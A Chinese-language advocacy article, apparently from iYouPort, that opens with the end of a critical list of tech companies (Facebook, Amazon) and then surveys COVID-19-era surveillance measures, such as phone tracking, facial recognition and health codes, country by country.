可以使用我们的个人数据来构建先进的技术系统，如果这些系统是使用具有偏见的数据集构建

的，则会对传统边缘化群体产生歧视性影响。” —— 哈佛大学伯克曼互联网与社会研究中心 *Mutale Nkonde !!!2*、***Facebook*** 「图」 *Year founded: 2004 Co-founder and CEO: Mark Zuckerberg* 该公司如今掌握全球的社会和政治交流 —— 几乎每个国家都在使用它，包括那些禁止它的国家的公民，也会突破网络封锁而使用它。 作为监视资本主义最具代表性的寡头之一，*Facebook* 承诺的一切 “改变” 都没有意义，因为根源问题在于，监视资本主义不应该存在。 * 《如何才能挑战 *Facebook* 并取得胜利？—— *Distributed Social Network*》 * 具体内容详见 列表-2 板块“关于*Facebook*” 所有令人发指的丑闻都源于，该公司从来不会将安全和人权放在考虑范围内，他们追求的是钱，对于许多产品经理来说，这直接关系到基本薪酬。 邪恶案例： 太多了，数不胜数。 受访者说：*“Facebook* 比地球上任何政府都更强大。它的产品种类繁多，影响深远，以至于用户和创建者都无法跟踪其不断扩张的目的。尽管不断有数据泄露事件和令人不安的隐私丑闻，但它仍拒绝监管。最可怕的是，这些寡头公司的领导人从来也永远不会经过民主选举产生，而这样的人决心以更高收入为名回避任何一种意识形态立场。” —— *the Ringer* 的 *Alyssa Bereznak !!!1*、***Amazon*** 「图」 *Year founded: 1994 CEO: Jeff Bezos* 亚马逊现在等于一切。这个曾经的在线书商已经发展成为零售、转售、送餐、视频流、云计算、高档产品、娱乐、廉价人工、智能家居技术、监控技术 …… 和间谍机构最大承包商的巨头。 该公司对全球所有人的了解之深度已经超乎想象。换句话说，它可以做到最有效地操纵你。 此外，该公司的 *“last mile”* 运输操作导致了倦怠、受伤、甚至死亡，所有这些都与仓库操作有关，该公司像对待机器人那样对待人类工人。 由于反垄断组织不断对亚马逊在网络零售领域的主导地位提出了更高的批评，该公司反驳称，“与沃尔玛相比，亚马逊在零售总额中所占的份额仍然较小” …… 但是，沃尔玛越来越像亚马逊。整个经济生态都是如此。 邪恶案例：太多了，数不胜数。 受访者指出：亚马逊已经导致世界各地的本地商店、服务、新闻、音乐、社区 …… 的死亡；据报道，该公司工作环境恶劣，很多危险的病态的劳工政策引起广泛关注； 通过其 ***Ring***门铃帮助构建了广泛的警察监视网络，并使用 ***Alexa*** 设备进行更深入的私生活监视；快速运输以及基于*AWS*的云计算带来了巨大的碳足迹；向拥有可疑人权记录的军事和情报机构提供技术，包括美国海关和边境保护局的行动，他们在边境拆散家庭；未能审核其平台上的内容，导致大量危险的假货盛行，包括容易损坏的危险假货如儿童汽车安全座椅；有着著名的敌对工作场所文化，事实证明这种文化助长了对妇女和少数民族的骚扰；离岸避税 ……” —— 加州大学伯克利分校 *Morgan G. Ames* Read Jordan Weissmann’s dissent and more in his debate with Ashley Feinberg over who’s worse: Amazon or Facebook? 也许您有自己的 “邪恶公司” 列表，也许您觉得这*30*位排

名还不够充分，欢迎留言指出！您可以说明您的理由。分析过程是一个很好的理解过程，与身边人进行讨论，从而制定更有效的反抗策略。〇 *The Evil List* 原文

#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱-包括但并仅仅是中国：长篇报告 - iYouPort

COVID-19(84)技术暴政长读

这不是某个国家的问题，而是全球性的，就如病毒本身一样，无国界；从手机跟踪到空中无人机监视、从事无巨细的健康记录到GPS脚腕手环 ..... 这些监视国家的手段正在一切病毒途经的地区成为常态

「图」

「图」

科技公司、政府和国际机构都已宣布了措施，以帮助遏制COVID-19（冠状病毒）的传播。

但是，其中有很大一部分措施对基本人权和人身自由施加了严格的限制，甚至侵犯。前所未有的监视、数据利用、和辟谣大跃进在全球范围内铺展。

- 推荐报告 《逮捕、追踪和惩罚，全球”反谣言”行动地图》

这些措施中有许多是基于非凡权力的，只能在紧急情况下才能临时使用。其他的则是钻空子，使用数据保护法中的豁免条款来共享数据。总之目标都是一样的：反乌托邦。

有些可能是有效的，并根据流行病学家的建议，而有些并不是。

但是，所有这些必须都是暂时的、必要的和相称的。否则，它们将带来远比冠状病毒更严重且更持久的人间灾难。

跟踪这些反乌托邦手段至关重要。大流行结束后，必须制止这些特殊措施并予以追究。这就是本报告的目的。

「图」

「图」

荷兰的反抗已经开始。图为来自荷兰的请愿书，目前已经35万人签署。这封请愿书的主题是“保护公民免受不公正和滥用权力的侵害。抵制当权者以冠状病毒防疫为借口颁布的紧急法令限制公民的隐私权和自由。”

「图」

「图」

中国朋友也已经对此有了很清楚的认识 – 这段文字来自中国的微信群组

概述

在反乌托邦方面，冠状病毒激发了前所未有的全球一致性 —— 全球数十亿人已经面临加强的恐怖级监视状态。

Edward Snowden 已经发出警告，各国政府用来对抗 **COVID-19** 疫情的高科技监视措施很可能会产生长期影响，

例如，美国政府正在与 Facebook 和 Google 等寡头公司进行谈判，目标是使用手机中的位置跟踪数据来追踪 COVID-19 的传播。尽管有些人也许认为该措施是“卫生当局追踪该病毒的有用工具”，但是，你必须考虑到，这些敏感的信息会与政府共享。

斯诺登说，政府可以在危机期间扩大对人们的个人信息的访问权限，并使用它来监视每个人的行为。例如在这种大流行期间，政府会以“担心公共健康”为借口，要求向每个健身追踪器发送命令以查看诸如脉搏和心率之类的措施，然后继续要求进行此类监视。

正如斯诺登所说，即便在病毒消失之后，政府依然可以利用诸如恐怖主义威胁之类的新借口来证明其不断收集和分析人们的私密数据是“合理的”。

是的，每一次重大危机都非常容易导致这样的结果，**911**之后的几十年已经充分验证了这点。在下面看到曾经的解读。

- 《冠状病毒大流行期间监视状态蓬勃发展》

- 《帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱》

斯诺登在接受采访时说："他们[政府间谍]已经知道您在互联网上正在看什么，他们已经知道您的手机在哪里移动，现在他们还知道您的心律是多少，您的脉搏是怎样的。当他们开始将这些信息关联在一起并将其应用于人工智能时，你知道会发生什么。"

对于专制思想的领导人来说，冠状病毒危机还为打压批评家和巩固其自身权力提供了方便的借口。审查制度已经导致疫情的加剧，并且将潜在可控的威胁转化成了全球性灾难。

健康危机将不可避免地平息，但是专制政府危险的权力扩张可能是大流行最持久的遗产之一。

一些国家的政府松了一口气，认为冠状病毒为限制反政治示威提供了便利的理由。

比如，阿尔及利亚政府已停止进行了一年多的定期抗议活动，这些抗议活动为的是寻求真正的民主改革；俄罗斯政府也停止了对弗拉基米尔·普京（Vladimir Putin）取消总统任期限制计划的抗议；印度政府宣布的为期三周的锁定行动，也方便地结束了对总理纳伦德拉·莫迪（Narendra Modi）的抗议。这种限制是否超过冠状病毒的威胁还有待观察。

毫无疑问，这是不平凡的时期。国际人权法允许在国家紧急状态下对自由的限制是必要和适当的。但是，我们应该非常警惕那些利用这场危机来为自己的政治目的服务的政客。他们正在危害民主和我们所有人的健康。

- 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

这一噩梦是否会延续，以及延续多久，取决于公众的监督和及时的反抗。

以下是来自全球的报告的汇总，方便您更直观地看到这一危机。

📖 美国

EEF 表示，公共卫生危机，尤其是全球流行病，可能需要采取特殊措施以维护公共利益，但是，侵入性面部监视并不符合公众利益。

这种方法可能涉及建立新的基础架构，以与世界上一些最邪恶的监视技术供应商进行更多的面部监视和大型政府合同。

诸如 Clearview AI 之类的公司已经在与代理商进行谈判，以提供帮助，⚠这些公司使用从社交媒体上刮取的二十亿张面部图像来跟踪个人并通过实时面部监视对其进行识别。

- 关于 Clearview AI，详细参见 《只要一张照片，陌生人就可以找到您的一切私密信息》

即使公民自由组织呼吁全国禁止政府使用面部识别，美国海关和边境保护局目前"仍在吹嘘"机场登机手续时面部识别被认为比其他检查手段 “更卫生”。

公共卫生危机结束后，无法轻松拆除运行人脸识别所需的庞大基础结构（例如相机、软件和与供应商的开放式合同）。我们不能让执法人员和其他政府官员将这种入侵策略标准化。

我们知道这种间谍技术的真相：人脸识别看似方便且有用，但实际上是一种充满漏洞的技术，它使人们受到政府的不断审查，并有可能通过识别和跟踪人们的身份扼杀言论自由和行动自由。

- 更多解释见《说谎的眼睛：根植于维多利亚时代面部识别》

汉王公司开发的人脸识别软件即使在戴着口罩的情况下也能够识别人，还可以用于识别在政治抗议活动中因担心政府报复而遮住脸孔的任何人。

我们必须考虑这些技术的来龙去脉，以及在紧急情况结束后它们在日常生活中的使用方式。

并且灾难不只有人脸识别。美国堪萨斯州卫生部正在通过名为 Unacast 的平台跟踪居民的位置，该平台比较了实施社会疏离前后的汇总**GPS**手机数据，并对每个县的合规性进行了评分。

Unacast 说，它可以访问的数据每隔一天更新一次，并在美国所有50个州中发布最新的评级。这个思路类似中国的 “健康码”。

与寡头公司的监视合作尤其令人担心。

苹果和谷歌宣布了一项合作伙伴关系，使政府和卫生机构可以使用蓝牙进行基于近距离的联系人跟踪。

西弗吉尼亚大学洛克菲勒神经科学研究所、西弗吉尼亚大学和 Oura Health联合进行的一项全国性研究，推出了一种叫 “Oura环” 的东西，用来测量体温和脉搏量以确定心脏和呼吸频率并跟踪睡眠。

这些手环及其随附的智能手机应用已发布给西弗吉尼亚州前线医疗机构的医生，护士和其他医护人员。 RNI打算通过与纽约市，费城，纳什维尔和其他地区的医院合作，扩大实验范围。

全球政府正在越来越多地使用智能手机来跟踪人口流动。美国也一样。我们讲述过这种监视的危险性。

- 《你的手机如何背叛了民主？》
- 《你的手机知道一切，并且很愿意告诉警察：法律不保护你》
- 《您并不偏执，您的手机确实在窃听您所说的一切》
- 《你的手机就是秘密监视设备—Snowden访谈视频》

当两家数据分析公司于3月25日发布热图以追踪春假期间在佛罗里达州一个海滩上检测到的数千台“独特移动设备”时，这种监视的力量就显而易见了。

监视一直在追踪这些手机在离开海滩后去了哪里。

这两家公司之一解释说：“我们首先构建了一个映射数十亿个数据点的引擎 …… Tectonix 专为高容量、高速度的位置数据而设计，可让您接近实时地分析、评估和可视化数十亿个数据点。这意味着您可以随时推动见解和采取行动，而不必等待最终结果呈现。”

数据收集过程非常简单。这些公司将软件模块嵌入到多个应用程序中，然后将其安装在用户的设备上。

这些应用要求获得访问用户的位置和设备状态的权限，然后将这些数据出售，为应用程序开发人员创造收入流。

⚠ X-Mode 解释说，此类数据可以包括 “设备的地理位置和在感兴趣的地点附近的停留时间，或设备在一个地方停留多长时间。” 这种监视具有多种捕获位置的方法 —— 蜂窝塔，**GPS**，**Wifi**网络，所有这些都可以使用。

- 《Wi-Fi是如何出卖你的？》

当然，这些跟踪图并不是特例。正如《华盛顿邮报》 3月24日报道的那样，“只要您拥有智能手机，那么您可能已经正为大规模的冠状病

毒监控系统做出了贡献。”

不要相信任何关于 “数据是匿名的” 狡辩。绝大多数人都可以通过所谓的模式识别来确认身份。你住在某个地方、在某个地方工作、在某个地方旅行、在哪些地方购物 …… 人类是习惯性动物，只需要拥有在几天或几周的时间内的特定设备的数据，就可以准确识别该人的身份。

- 《即使数据是匿名的，您的身份仍然可以被识别》

别忘了下面这个追踪实验 ……

- 《1200万部电话，一个数据集：利维坦眼中的世界》

「图」

「图」

俄罗斯

莫斯科市正在使用智能手机地理定位功能来跟踪外国游客在该市的活动，以防止在俄罗斯重新开放边界后爆发COVID-19。

莫斯科占该国所有感染案例的三分之二。莫斯科市政厅准备的系统将使用其SIM卡数据提供游客活动的每日更新，并显示居民何时与他们接触；他们已经从俄罗斯三大电信运营商那里购买到了位置数据。

Yandex 被认为是旅行跟踪系统的候选供应商之一。

Yandex 发布了冠状病毒感染的实时地图，显示俄罗斯各地的感染情况。包括感染人数和居民使用地理位置标记的自我隔离区，地图：https://yandex.ru/web-maps/covid19?ll＝41.775580%2C54.894027&z＝3

「图」

「图」

还有反现金行动。由于担心通过钞票和支付卡传播冠状病毒的可能性，俄罗斯已开始在包括 Lenta 超市在内的许多连锁超市测试其统一生物识别系统（EBS）的付款方式。

俄罗斯银行VTB计划在2020年中期大规模推出。

Promsvyazbank 计划旨在2021年初进行面部生物特征识别付款的试验，该银行正在与多家零售连锁店进行了沟通以引入这一系统。

就是通过内置摄像头的终端扫脸以进行支付。运营EBS的 Rostelecom 称，该系统将交易时间从20秒减少到5秒，并且它还可以 “提供忠诚度积分或确认购买者的年龄”。

迄今为止，EBS数据库中已经存储了130000多个模板。

简单说就是，强制更多人交出自己的生物识别数据。

此外还包括言论审查。俄罗斯建立了一个冠状病毒信息中心，以监视社交媒体上有关冠状病毒的所谓错误信息，并使用监控摄像头和AI组合发现超市的空货架。该中心还拥有一个数据库，其中包含从疫情国家返回后被强制隔离的95％的人员的联系方式和工作地点。

一些文件概述了在COVID-19爆发时俄罗斯可能需要采取的措施 —— “紧急模式”。

提案的计划A允许取消莫斯科的所有国际体育、文化、科学和社会活动；监控测试阳性的人，并从视频监控摄像机记录和地理位置数据中追踪所有目标人的联系人，并对他们的房屋以及他们及其家人探访的所有地方进行消毒；并创建联系人数据库。

计划B增加了关闭莫斯科的学校、图书馆、博物馆、电影院、购物中心、市场和运动场，并禁止在该城市进行公共活动。

「图」

「图」

🇨🇳中国

中国采用强制下载智能手机应用程序来开展大规模监视。

从杭州开始，已经有200多个城市的中国公民必须在其智能手机上安装由当地政府在支付宝开发的 “支付宝健康码” 应用程序。

用户必须填写带有个人详细信息的表格，然后该软件就会生成三种颜色之一的QR码。绿色使持有人可以不受限制地移动；黄色码的人可

能会被要求呆在家里七天；红色表示两周隔离。

该应用程序还可以与警察共享信息。时报的分析发现，只要用户授予该软件对个人数据的访问权限，该程序的一部分就会将该人的位置、城市名称和识别码发送给服务器。

该软件无法向用户表明其与警察的联系。但是，据中国宣传机构新华社和官方的警察社交媒体报道，执法部门是该系统发展的关键伙伴。

中国的机场筛查，包括自1月下旬开始使用的“非接触式热 扫描”针对所有抵达的旅客检查他们是否发烧，并要求旅客在抵达时报告自己的健康状况。

这些措施看起来似乎让人放心，但是，它并不能阻止新型冠状病毒的传播，因为经验表明这种筛查很少能发现受感染的旅客（即使在感染区内）对疫情发展过程的影响并不大。

中国领先的所谓智能硬件制造商 Telepower Communication（Telpo）已将新功能集成到其终端中，以支持各种“非接触式”用例。

该公司的终端产品系列可用于餐饮、零售、支付、安全和其他应用，⚠包括生物识别，发烧检测、面部识别和票证验证技术。

⚠该技术支持对多达99.5%的戴着口罩的人进行准确识别，检测体温误差在0.5摄氏度以内度，使用其双目摄像头监视系统测试活动性，并支持统一的数据管理和多种安装方法。Telpo 提供离线、在线和开发版的解决方案，后者包括其 SDK。

言论审查也是突出的。中国共产党在冠状病毒危机期间努力控制叙事和转移责任，利用其政府拥有的媒体通过其英文 Facebook 网页和推特传播宣传性内容（尽管这些平台在中国是被禁止的）。

- 《冠状病毒使中国的监视状态脱颖而出》
- 《冠状病毒疫情中7种侵犯人权的方式最为突出》

中国政府官方强调“快速恢复和成功的治疗”，以及关于快速建设临时医院等努力的正面报道。后期的报道还试图将中国定位为“病毒应对方面的世界领导者”。一些美国媒体也采取了类似的策略。

「图」

「图」

此外，冠状病毒疫情以前所未有的高速度推动了寡头技术的采用率 —— 虽然这不是中国得到特例。

在中国，科技巨头阿里巴巴、百度、ByteDance、腾讯、小米和富士康正在努力借助冠状病毒推动自己的技术。

为了帮助当权者审查所谓的错误信息，百度在其标准 Map App 之上创建了一个地图层，可实时显示已确认和疑似病例的位置；奇虎360推出了一个平台，旅客可以使用该平台检查最近乘坐的火车或飞机上是否有人经过测试后呈阳性反应；腾讯推出了 Medipedia，以提供经过专家审查的信息、所谓的辟谣平台和门诊诊所地图。

⚠广州公交集团在公交车司机座位旁安装了生物识别平板电脑，以便他们可以检查每个乘客的体温和身份。

⚠这些平板电脑还将为每位乘客拍照，使他们能够被中国的面部识别网络识别真实身份。

「图」

「图」

▎L 以色列

以色列已允许 Shin Bet 安全部门 “使用疾病携带者的手机数据来追踪他们的一举一动，并确定他们可能感染的任何人”，这些信息将转发给卫生部。

距离受感染者2米（6.6英尺）以内的人、并持续10分钟或更长时间，这样的人会被告知进行隔离。

对原始命令的更新版已将其有效期从30天延长至政府终止紧急状态为止。

⚠收集到的数据将再保存60天，以对卫生部的工作进行内部调查。以色列民权协会认为这种入侵没有证据能表明对防疫的作用。

以色列卫生部的移动应用程序 “The Shield” 旨在提醒用户与已知 COVID-19 患者同时处于国内某个地点的情况。

该应用程序可在 Android 和 iOS 上使用，全天侯收集用户移动设备的 **GPS** 和 **WiFi** 网络（**SSID**）信息。当局声称此数据仅保存在移动设备上，不会传输到卫生部，其他政府机构或任何组织。

新诊断的患者在被询问时会透露的位置将被添加到JSON文件中，该文件每小时在应用程序中更新一次，并与每个用户手机中存储的位置进行比较。

该应用程序有局限性：由于从患者那里收集了数据，因此可能会有误报，而且不会包括无症状的携带者。该应用程序已经过以色列网络安全公司 Profero 的安全漏洞审查。

以色列拟部署中华电信在台湾开发的手机追踪系统，该系统2月1日在台湾地区推出，用于追踪台湾五大网络运营商的所有用户。

首先，疾控中心编制了一份名单，对与 COVID-19 患者或从高危国家归来的旅客密切接触后需要隔离或居家隔离的人员进行追踪。

当地卫生和民政部门在核实确认名单上的人员是否能按照他们提供的手机和地址联系到他们后，将他们的手机号码发送给电信公司，由电信公司根据**GPS**数据和基站三角定位，定期报告相关设备所处的位置。

如果发现有人违反检疫规定，该系统就会发出警报，其服务提供商会向该人以及当地警察、卫生部门和民政机构发出警告信息。

尤其是，以色列国防部长 Naftali Bennett 公布了一项计划，根据该计划，⚠包括全球最臭名昭著的间谍软件供应商 **NSO** 集团在内的技术公司将与国防机构合作，以便实现更深入的追踪监视。

- 关于NSO 参见列表- 4 “以色列和NSO” 板块

根据 Bennett 的建议，合作者将建立一个系统，卫生部、Shin Bet 安全局将把他们所掌握的所有关于COVID-19患者的数据输入其中，并利用这些数据为以色列居民分配 “分数”，显示他们被感染的可能性 —— 也是类似于中国的 “健康码”。

该系统将不断地实时更新。NSO集团将能够检索到14天前的数据，并确定患者与谁接触过15分钟以上。

「图」

「图」

🇬🇧英国

Palantir 和英国人工智能初创公司 Faculty正 在根据与英国国家卫生服务机构 NHSx 的合同，对英国大量机密的患者信息进行数据挖掘，以整合政府数据库，⚠并建立预测性计算机模型。

NHSx 表示，其目的是为部长和官员提供实时信息，以显示需求上升的地方和需要部署的设备。

泄露的文件表明，该项目在进行过程中并没有充分注意到隐私、道德或数据保护问题，而且，据称这些数据正在与其他数据集进行交叉匹配。

此外，英国的生物识别初创企业正在帮助英国政府创建数字护照。

VST Enterprises 正在提供由生物识别技术支持的数字医疗护照 V-COVID；护照将包含测试结果，并将其包含在可从两米外扫描的应用程序中。

为NHS信托机构提供数字化平台的 Patchwork Health 和提供数字化员工身份证的 Truu 结合起来，将使新的卫生工作者在几分钟内入职成为可能。

「图」

「图」

3月20日，英国卫生与社会护理部发布了一项通知，为NHS放弃保密义务提供法律依据。⚠意味着NHS组织和政府可以与他们想要的任何人共享任何患者数据，只要声明是 “对抗covid” 就行。

此外，Post-Quantum 的子公司身份验证公司 Nomidio 正在免费提供验证服务。该服务将通过智能手机实现一个简单的基于服务器的三步验证过程，以帮助首次使用的用户证明其身份。

空中监视也开始了。英国政府宣布全国封锁后，德比郡警察开始"使"用无人机捕获人们在漫步、遛狗、购物时的镜头。这一举动被广泛批评为适得其反。但是，政府回复说人们应该呆在自己家附近，不要不必要地旅行，并赋予警察新的权力以实施封锁。

- 《如何防止被无人机监控？（热成像监控的抵制方法）》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》

群众斗群众已经显见。北安普敦郡警方报告说，越来越多的人打来电话举报他们的邻居每天进行多次锻炼，在后院进行烧烤聚会等。Nick Adderley 说，警察将在必要时发布罚款通知书，但他认为首先对公众进行教育很重要。

英国内政部已授予英格兰警察新的权力，以执行封锁规则六个月，每三周进行一次审查。

⚠ 警察现在可以：将人们驱散或离开某个地区；确保父母竭尽全力使孩子免受违反规则的处罚；处以60英镑的罚款，如果在14天内支付，则降低至30英镑；并对第二次违规者处以120英镑的罚款，对再次犯法者处以两倍的罚款。

甚至可以将拒绝付款的人告上法庭，裁决可以对其施加无限的罚款；警察还可以直接逮捕不遵守规定的人。但是，内政部承诺，警察将始终保持常识和谨慎态度。

英国国家卫生局正在与 Palantir 合作，推出一个数据平台，该平台将跟踪关键人员和物资的流动；它将首次为部长们提供一个仪表盘，显示整个卫生保健系统的全面视图。

Palantir 从整个卫生部门收集到的数据存储中将不包含单个患者的数据；取而代之的是，它将包括急症室的容量、拨打NHS 111热线的电话以及病床、呼吸机和现役NHS人员的数量和位置。

「图」

「图」

地方政府协会认为，在冠状病毒危机期间，议会不应该遵守信息自由请求。

大曼彻斯特地区警方紧随其后，称从事非关键性工作的警察被重新分配到业务警务工作中，”在进一步通知之前” 不会回答信息自由请求。

简单说，公民监督正在被废除。

移动网络运营商**O2**正在向英国政府"提供汇总数据"，以分析智能手机

位置数据，检查人们是否遵守该国的社会疏离准则，尤其是在伦敦。

政府说，它只是向O2索要数据，而不是向所有移动网络索要数据，以便遵守数据保护法并避免合并多个数据集。

牛津大学的研究人员还与英国政府"合作开发了"类似于中国那种智能手机跟踪系统，可以警告与冠状病毒感染者接触过的人。

该应用程序将与国家卫生服务体系（National Health Service）相关联，将依靠公众自愿分享其位置数据。该服务不会像韩国那样发布受感染个人的活动。

即使没有被普遍采用，并且位置数据并不总是很精确，牛津大学的研究人员仍然认为，基于他们的模型，这样的系统可能会比旧的追踪方法更有用，而且速度更快。

「图」

「图」

I N 印度

印度安得拉邦国家灾难管理局正在与其他政府机构合作，开发工具来追踪那些对新冠状病毒检测呈阳性的人、以及在家中接受检疫的人的完整旅行历史数据。

如果超过25000名被居家隔离者中的任何人远离其基本地点超过100米，COVID警报跟踪系统就会警告当局。

该系统在电信服务提供商和蜂窝塔的协助下跟踪目标人。如果被提醒的违法者拒绝回家，那么该问题将上报给国家有关当局。

第二个工具分所有新近确诊病例的人的位置历史记录，以在个人花费时间超过15分钟的地点周围创建两到三公里的红色区域。

印度的 COVID-19 跟踪器应用程序 Aarogya Setu 在上架头**13**天内就被下载了**5000**万次。

该应用程序由电子和IT部下属的国家信息中心开发，可在 Android 和 iOS 智能手机上使用，并使用 GPS 和蓝牙提供有关目标手机是否在感染者附近的信息。

⚠用户需要提供手机号码、健康状态和其他凭据，并且必须同时打开位置服务和蓝牙。你知道，这非常危险。

卡纳塔克邦政府模仿韩国等国家的做法，已指派其十人组成的COVID-19 工作组，其中包括在技术、医学和医疗保健领域具有专业知识的IAS官员，以追踪在Covid-19爆发期间访问过国外的大约40000人、以及经过测试呈阳性的人和其接触者的联系方式。

为此启动了 Corona Watch 应用程序，该应用程序提供了对COVID-19 测试呈阳性的所有人曾经访问过的所有地点的详细信息。该州发现，接触者的人数是患者人数的十倍 —— 如果被感染者曾经参加音乐会或其他活动，则人数会更多。

IIT-Bombay 大学的计算机科学系已经向包括人力资源和发展部、马哈拉施特拉邦政府、和 Brihanmumbai 市政公司等印度公共机构的官员在内的多个部门发送了两款可以追踪违反检疫者的移动应用提案。

第一种是 Corentine，旨在对嫌疑人和无症状的携带者进行地理信息封锁，另一款 Safe 则是之前被 IIT-Bombay 学生用来登记课堂出勤情况的工具，现在被用来监控那些被隔离在家中的违规者。

Corantine 会定期将手机的**GPS**坐标发送到一个由授权机构运行的服务器上；⚠ Safe 会定期要求用户自拍，它通过人脸匹配工具进行检查，并贴上时间和地理位置的标签，所有这些都可以被授权机构检查。

卡纳塔克邦政府发布了被隔离居民的家庭住址，以阻止违反规定。名单中包括从国外回国的人，被要求在室内呆两个星期，即便未检测到新型冠状病毒的阳性。

尽管政府删除了一条宣布其意图的推文，但该列表仍可在其网站上找到，并在 **WhatsApp** 上被分发。它也已映射到**Google**地图上，因此人们可以看到附近被隔离人员的地址。

在印度，有关大流行病的耻辱感正在加剧，印度的《个人数据保护法案》尚未通过。

印度医疗AI初创公司 Qure.ai 发布了 qScout，这是一个由AI驱动的“虚拟护理平台”。

qScout应用程序旨在帮助政府、医院和诊所识别高危人群，协助联系追踪，方便远程分类，阅读胸部X光片以识别可能的感染，使用地理

映射来估计人群风险并使用实时数据来分配关键资源。

印度已经开始在马哈拉施特拉邦和卡纳塔克邦的机场给抵达机场的人的手上盖章，以明确规定他们必须在哪一天之前保持隔离状态。

政府还在利用航空公司和铁路订票数据来追踪疑似感染者，并找到曾承诺不旅行的人的手印。

⚠ 喀拉拉邦当局利用电话通话记录、闭路电视监视录像、和手机GPS系统追踪 COVID-19 患者，并公布了详细的时间和日期地图，显示出检测出阳性者的动向。

「图」

「图」

🦠韩国

韩国在没有全国封锁和不中止公民权利的情况下抗击冠状病毒的努力能否成功，部分取决于2015年MERS流行后的准备工作，以及该国的私人测试实验室网络，这使得该国能够迅速设置启动测试，并将结果快速发送回手机。

积极的结果带来了积极深入的联系跟踪，其中包括CCTV录像、手机跟踪数据和信用卡支出记录。

该国使用扬声器和短信来广播有关感染者购物、吃饭和旅行的地点和时间的信息，鼓励经常光顾这些地方的人进行检查。

⚠入境旅客必须在手机上安装特定应用程序，通过该应用程序报告其健康状况。第二个应用程序跟踪那些被命令隔离的人，以确保他们不会离开隔离区。

3月9日，SK Telecom 开始向庆尚北道警察厅提供 Geovision 人口分析服务和 GIRAF 平台。

该公司声称，该组合可以实时分析全国各地的移动地理位置数据，创建可视化效果，并显示**10×10**米范围内有多少人，从而使警察能够将警官派到需要执行强制疏散措施的地方。

该公司正在与韩国国家警察局进行谈判，以将服务范围扩大到全国所有警察局。

随着 6300 个 COVID-19 病例和40多个死亡报告，韩国政府"推出了一款智能手机应用" (安卓系统优先，iPhone将于3月20日推出)，作为其遏制疫情爆发的 “最大限度” 行动的一部分，对处于封锁状态的公民进行监控。

这款应用可以让患者与护理人员保持联系，并利用GPS追踪他们的位置，确保他们不会突破隔离。

政府表示，追踪是管理病例量（当时为3万人）和防止 “超级传播者” 所必需的。

如果受检者离开指定区域，该APP会向受检者和办案人员发送警报。

其他措施还包括开车检测站和 “严格的透明度”，这使得私人开发的地图服务可以追踪已确认的携带者，市、区政府也会发送警报，通知个人新的案件。

尽管韩国政府通过短信发送的有关与冠状病毒感染者接触的警报不包括姓名，但是，包含有关人员很多详细信息，在某些情况下可以清楚地显示其过去的位置历史记录。

⚠通过这种方式被识别出的人遭受了线下和/或在线的各种骚扰，被嘲笑。一项调查发现，结果是，人们对感染的 “批评和进一步破坏性” 的恐惧程度超过了对病毒本身的恐惧程度。

韩国卫生当局和民政部门发送的 “安全指导文本” 导致信息过载，其中包括有关感染者私人生活的令人尴尬的曝光。

文本可能包括链接，以跟踪最近被诊断出的病毒携带者的活动。单击该链接可将用户带到地区办公室的网站，该网站列出了患者在测试阳性之前曾去过的所有地方。

在一个案例中，一个50多岁的男子被证明是与30岁的秘书从武汉回国后被检查到的。在另一起案件中，警报显示，一名男子在性骚扰中感染了该病毒；第三个是，一名60多岁的妇女被指控犯有保险欺诈罪。

🇩🇪德国

汉堡地理跟踪初创公司 Ubilabs 正在与汉诺威医学院在一个数据分析平台上合作，该平台可以跟踪测试冠状病毒及其接触检测呈阳性的人。这种类型的跟踪需要获得个人的同意才能具有处理的法律依据。

"法律已经被修改"。德国在其GDPR授权立法中增加了一些措辞，允许在发生流行病或其他灾难时处理个人数据。

同时，法国数据保护机构 CNIL 表示，雇主不得对员工或访客进行强制体温测量，或要求他们填写强制医疗问卷。意大也通过了紧急立法，要求任何最近在高危地区住宿过的人都必须通知卫生部门。

德国移动运营商 Deutsche Telekom 在 RKI Live 的新闻发布会上宣布，已将其用户的移动数据匿名传递给罗伯特·科赫研究所（Robert-Koch Institute），以研究人口在多大程度上遵循政府的限制。

RKI 总裁 Lothar Wieler 表示，该数据也可以购买，但已免费提供给 RKI。

德国罗伯特·科赫研究所（Robert Koch Institute）和弗劳恩霍夫·海因里希·赫兹研究所（Fraunhofer Heinrich Hertz Institute）的研究人员正在开发一种应用程序，该应用程序使用智能手机之间的蓝牙连接并符合**GDPR**要求，保存智能手机上人与人之间的接触距离和持续时间，从而使数字化感染链成为可能。

该想法是从新加坡的 TraceTogether 应用程序复制而来的，该应用程序可以检测到安装了该应用程序的其他用户。如果某人测试呈阳性，他们可以选择将存储的数据发送给卫生当局，后者可以解密该数据并通过电话通知相关联系人。

迄今为止，已经有 685000 名新加坡人（占人口的10%以上）安装了该应用程序。

8家欧洲电信提供商（沃达丰，德国电信，奥兰治，西班牙电信，意大利电信，Telenor，Telia 和 A1 Telekom Austria）"已同意"与欧盟委员会共享手机位置数据，以追踪冠状病毒的传播。

该委员会表示，它将使用匿名数据和汇总的手机位置来协调对病毒传播的跟踪。他们还宣布，危机后该数据将被删除。

欧盟委员会敦促包括 Deutsche Telekom 和 Orange 在内的欧洲电信巨头分享其用户在整个地区的移动数据流，以帮助“ 为共同利益” 预测冠状病毒的传播。

在一份回复中，MEP Sophie In’t Veld 强调该数据必须保持匿名，并质疑汇总来自数百万被封锁的欧洲人的大量位置数据的有用性。

负责疾病控制和预防的联邦机构罗伯特·科赫研究所（Robert Koch Institute）与健康技术初创公司 Thryve 合作开发了一款名为 Corona-Datenspende 的应用程序，可与各种智能手表和健身腕带配合使用。

该应用程序旨在使用设备的传感器来收集用户数据，并包括算法，以发现与COVID-19相关的症状并帮助预测病毒的传播和遏制。到目前为止，已有**50000**多名用户下载了该应用程序。

「图」

「图」

A U 澳大利亚

南澳警察局表示他们用于刑事调查的电话追踪系统现在被用于更好地了解一对60岁的冠状病毒感染者夫妇从武汉前往阿德莱德探亲的经历，他们在阿德莱德的游荡路径，以确定可能暴露的人。

警方使用了一个程序，只需要一个电话号码就可以追踪目标手机在哪里使用过的路线图；要使用它，他们必须满足一个立法门槛，立法要求只有被怀疑有严重犯罪嫌疑或有生命危险的情况才能使用这种追踪方法。

在本案中，一个理由是，作为外国人，他们对该地区不够熟悉，无法准确说出自己去过的地方。根据澳大利亚的数据保留法，电话和互联网公司必须将电话元数据保存两年。

